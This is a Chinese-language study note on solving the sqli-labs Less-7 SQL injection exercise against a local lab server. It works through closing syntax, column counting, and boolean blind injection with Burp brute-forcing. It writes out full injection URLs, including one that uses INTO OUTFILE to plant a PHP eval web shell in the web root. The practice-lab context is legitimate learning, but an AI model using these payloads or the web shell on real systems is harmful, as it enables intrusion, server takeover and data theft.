备注:虽然从首页进来就知道是dump into outfile 但我还是假设按不知道的流程来一步步尝试,这样才会印象深刻,不然我觉得失去练习的意义了。
1、访问首页,/Less-7/index.php?id=1,这里的传参点是id
探测六步
- 判断是否是数字形传参
- 判断是否有单引号闭合
- 判断是否是双引号闭合
- 判断是否单引号+括号闭合
- 判断是否是双引号+括号闭合
如果以上都不适:哪以上规则都同时加上sleep测试一遍,看是不是存在延时注入
结果1:
结果2:
分析:这里我尝试不管是怎么样,通过变换 and 1=1 与 and 1=2 或者变换闭合,要么都是“You are in.... Use outfile......”,要么都是错 “You have an error in your SQL syntax ”,而不是通过变换1=1 与1=2能不一样的结果,说明这里闭合不对,让我这个菜鸟想了许久,也没得到解决,于是跑过去看了一下源码到底要怎么闭合。通过下图源码才得知,原来SQL注入还有可能存在多个括号闭合的情况,又学到了。
结论:通过调整闭合后,修改and 1=1 与 and 1=2 得到了想要的结果,and 1=1得到正常结果,and 1=2 提示错误,同时上面看源码的时候也发现了,该源码有数据则提示正确,没数据则提示错误(个人认为算是误导)其实这个错误并不是数据库报出来的, 所以这里不能像前面一样使用报错注入,根所提示我们这里使用dump into outfile来尝试一下。
2、判断字段数量
http://192.168.21.144:8080/sqlilabs/Less-7/index.php?id=11
')) order by 4-- qwe
分析:通过以上order by 1~4 最后order by 4 时报错,说明一共有3个字段,
3、写文件
上面一共查出有3个字段,这里通过into outfile 时因为前面有union 也是用的联合查询,所以后面也要3个字段对应。
http://192.168.21.144:8080/sqlilabs/Less-7/index.php?id=11
')) union select 1,'<?php eval($_REQUEST[1]); ?>',3 into outfile '/var/www/html/sqlilabs/Less-7/1.php' -- qwe
分析:写了一个小马到服务器上,这样我们就可以通过web访问到了,但是这里写的目录为:
/var/www/html/sqlilabs/Less-7/1.php,假如真实环境下我们是否能把目录猜得这么准确呢?如果猜不准确哪把一名话小成写在/tmp/1.php下也没有用,因为解析不了。
盲注
上面说到了假如猜解不到路径的情况应该怎么做,其实这道题同样可以使用盲注来获取数据库的数据。(注:本人不是因为做题而做题,而是为了练习技术从每个方面来分析,可能很多大佬做题时看到标题就知道怎么做,而我个人是假装是真实环境什么也不知道的情况下从头到尾来分析,请大佬们喷轻点,毕竟我还是个菜鸟,只是想多学多练,顺便做好分析笔记日后好复习)
1、使用mysql的关键字length判断库名长度
http://192.168.21.144:8080/sqlilabs/Less-7/index.php?id=11
')) and length(database())=8-- qwe
分析:当输入length(database())>1~7时都正常显示数据,由此判断数据库长度为8位
2、使用burp爆破数据库名
抓包,并发送到爆破模块:
设置爆破参数,一共有两个参数,一个是控制爆破数据库名8位中某个字符,一个是控制ascii码
爆破结果分析:
分析:这里爆破出来,返回报文长度同样都是884,这就尴尬啦,平时我都是根据返回长度来判断爆破成功还是失败,这里有两种解决办法,第一是自己写程序来爆破根据返回结果来分析 ,第二是使用burp的爆破结果筛选条件。
如下图,这就是筛选后的结果,而这8位字符就是我们的数据库名
分析:到这里就直接把数据库的库名爆出来了。
3、使用burp爆破表名
爆破表名前先要获取表名长度 (因为我这里知道第3个表是users信息表,所以我这里就直接爆破users表)
http://192.168.21.144:8080/sqlilabs/Less-7/index.php?id=11
')) and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5-- qwe
知道表名长度为5后,直接上burp爆破,获取表名
4、使用burp爆破字段名
......不想爆了,盲注太麻烦了,反正道理是一样的